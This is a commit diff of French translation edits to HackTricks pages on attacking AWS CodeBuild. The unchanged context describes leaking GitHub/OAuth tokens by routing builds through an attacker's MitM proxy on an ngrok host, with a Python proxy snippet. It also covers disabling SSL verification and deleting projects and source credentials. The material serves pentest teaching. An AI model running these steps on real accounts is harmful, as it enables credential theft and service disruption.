Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/

This commit is contained in:
Translator
2025-01-02 01:20:36 +00:00
parent 4ffa248b02
commit 0a742969af
209 changed files with 1658 additions and 1652 deletions

View File

@@ -12,7 +12,7 @@ Pour plus d'informations, consultez :
### Vérifier les Secrets
Si des identifiants ont été définis dans Codebuild pour se connecter à Github, Gitlab ou Bitbucket sous forme de jetons personnels, mots de passe ou accès par jeton OAuth, ces **identifiants vont être stockés comme des secrets dans le gestionnaire de secrets**.\
Si des identifiants ont été définis dans Codebuild pour se connecter à Github, Gitlab ou Bitbucket sous forme de jetons personnels, mots de passe ou accès par jeton OAuth, ces **identifiants vont être stockés comme secrets dans le gestionnaire de secrets**.\
Par conséquent, si vous avez accès pour lire le gestionnaire de secrets, vous pourrez obtenir ces secrets et pivoter vers la plateforme connectée.
{{#ref}}
@@ -38,7 +38,7 @@ Et **changer les commandes Buildspec pour exfiltrer chaque dépôt**.
> Cependant, cette **tâche est répétitive et fastidieuse** et si un jeton github a été configuré avec **des permissions d'écriture**, un attaquant **ne pourra pas (ab)user de ces permissions** car il n'a pas accès au jeton.\
> Ou peut-être ? Consultez la section suivante
### Divulgation des Jetons d'Accès depuis AWS CodeBuild
### Fuite des Jetons d'Accès depuis AWS CodeBuild
Vous pouvez divulguer l'accès accordé dans CodeBuild à des plateformes comme Github. Vérifiez si un accès à des plateformes externes a été accordé avec :
```bash
@@ -54,7 +54,7 @@ Un attaquant pourrait supprimer un projet CodeBuild entier, entraînant la perte
```bash
aws codebuild delete-project --name <value>
```
**Impact potentiel** : Perte de configuration de projet et interruption de service pour les applications utilisant le projet supprimé.
**Impact potentiel** : Perte de la configuration du projet et interruption de service pour les applications utilisant le projet supprimé.
### `codebuild:TagResource` , `codebuild:UntagResource`
@@ -67,10 +67,10 @@ aws codebuild untag-resource --resource-arn <value> --tag-keys <value>
### `codebuild:DeleteSourceCredentials`
Un attaquant pourrait supprimer les identifiants source pour un dépôt Git, impactant le fonctionnement normal des applications s'appuyant sur le dépôt.
Un attaquant pourrait supprimer les informations d'identification source pour un dépôt Git, impactant le fonctionnement normal des applications s'appuyant sur le dépôt.
```sql
aws codebuild delete-source-credentials --arn <value>
```
**Impact potentiel** : Disruption du fonctionnement normal des applications s'appuyant sur le dépôt affecté en raison de la suppression des identifiants source.
**Impact potentiel** : Perturbation du fonctionnement normal des applications s'appuyant sur le dépôt affecté en raison de la suppression des identifiants source.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -10,24 +10,24 @@ aws codebuild list-source-credentials
```
### Via Docker Image
Si vous constatez que l'authentification, par exemple à Github, est configurée dans le compte, vous pouvez **exfiltrer** cet **accès** (**GH token ou OAuth token**) en faisant en sorte que Codebuild **utilise une image docker spécifique** pour exécuter la construction du projet.
Si vous constatez que l'authentification à, par exemple, Github est configurée dans le compte, vous pouvez **exfiltrer** cet **accès** (**GH token ou OAuth token**) en faisant en sorte que Codebuild **utilise une image docker spécifique** pour exécuter la construction du projet.
À cette fin, vous pourriez **créer un nouveau projet Codebuild** ou modifier l'**environnement** d'un projet existant pour définir l'**image Docker**.
L'image Docker que vous pourriez utiliser est [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). C'est une image Docker très basique qui définira les **variables d'environnement `https_proxy`**, **`http_proxy`** et **`SSL_CERT_FILE`**. Cela vous permettra d'intercepter la plupart du trafic de l'hôte indiqué dans **`https_proxy`** et **`http_proxy`** et de faire confiance au certificat SSL indiqué dans **`SSL_CERT_FILE`**.
1. **Créer et télécharger votre propre image Docker MitM**
- Suivez les instructions du dépôt pour définir votre adresse IP de proxy et configurer votre certificat SSL et **construire l'image docker**.
- **NE PAS CONFIGURER `http_proxy`** pour ne pas intercepter les requêtes vers le point de terminaison des métadonnées.
- Suivez les instructions du dépôt pour définir votre adresse IP de proxy et définir votre certificat SSL et **construire l'image docker**.
- **NE PAS DÉFINIR `http_proxy`** pour ne pas intercepter les requêtes vers le point de terminaison des métadonnées.
- Vous pourriez utiliser **`ngrok`** comme `ngrok tcp 4444` pour définir le proxy vers votre hôte.
- Une fois que vous avez construit l'image Docker, **téléchargez-la dans un dépôt public** (Dockerhub, ECR...)
2. **Définir l'environnement**
- Créez un **nouveau projet Codebuild** ou **modifiez** l'environnement d'un projet existant.
- Configurez le projet pour utiliser l'**image Docker précédemment générée**.
- Définissez le projet pour utiliser l'**image Docker précédemment générée**.
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
3. **Configurer le proxy MitM sur votre hôte**
3. **Définir le proxy MitM sur votre hôte**
- Comme indiqué dans le **dépôt Github**, vous pourriez utiliser quelque chose comme :
```bash
@@ -73,10 +73,10 @@ aws codebuild start-build --project-name my-project2
```
### Via insecureSSL
**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\
Activer cela permet à Codebuild de se connecter au dépôt **sans vérifier le certificat** offert par la plateforme.
Les projets **Codebuild** ont un paramètre appelé **`insecureSsl`** qui est caché dans le web et que vous ne pouvez changer que depuis l'API.\
L'activation de cela permet à Codebuild de se connecter au dépôt **sans vérifier le certificat** offert par la plateforme.
- First you need to enumerate the current configuration with something like:
- Tout d'abord, vous devez énumérer la configuration actuelle avec quelque chose comme :
```bash
aws codebuild batch-get-projects --name <proj-name>
```
@@ -115,7 +115,7 @@ aws codebuild update-project --name <proj-name> \
]
}'
```
- Ensuite, exécutez l'exemple de base de [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) sur le port indiqué par les variables de proxy (http_proxy et https_proxy)
- Ensuite, exécutez l'exemple de base depuis [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) dans le port indiqué par les variables de proxy (http_proxy et https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
@@ -136,7 +136,7 @@ mitm.run()
> [!TIP] > **Cette vulnérabilité a été corrigée par AWS à un moment donné de la semaine du 20 février 2023 (je pense que c'était vendredi). Donc un attaquant ne peut plus en abuser :)**
Un attaquant avec **des permissions élevées dans un CodeBuild pourrait fuir le token Github/Bitbucket** configuré ou si les permissions étaient configurées via OAuth, le **token OAuth temporaire utilisé pour accéder au code**.
Un attaquant avec **des permissions élevées sur un CodeBuild pourrait divulguer le token Github/Bitbucket** configuré ou si les permissions étaient configurées via OAuth, le **token OAuth temporaire utilisé pour accéder au code**.
- Un attaquant pourrait ajouter les variables d'environnement **http_proxy** et **https_proxy** au projet CodeBuild pointant vers sa machine (par exemple `http://5.tcp.eu.ngrok.io:14972`).
@@ -158,7 +158,7 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Ensuite, cliquez sur **Build the project** ou démarrez la build depuis la ligne de commande :
- Ensuite, cliquez sur **Build the project** ou démarrez la construction depuis la ligne de commande :
```sh
aws codebuild start-build --project-name <proj-name>
```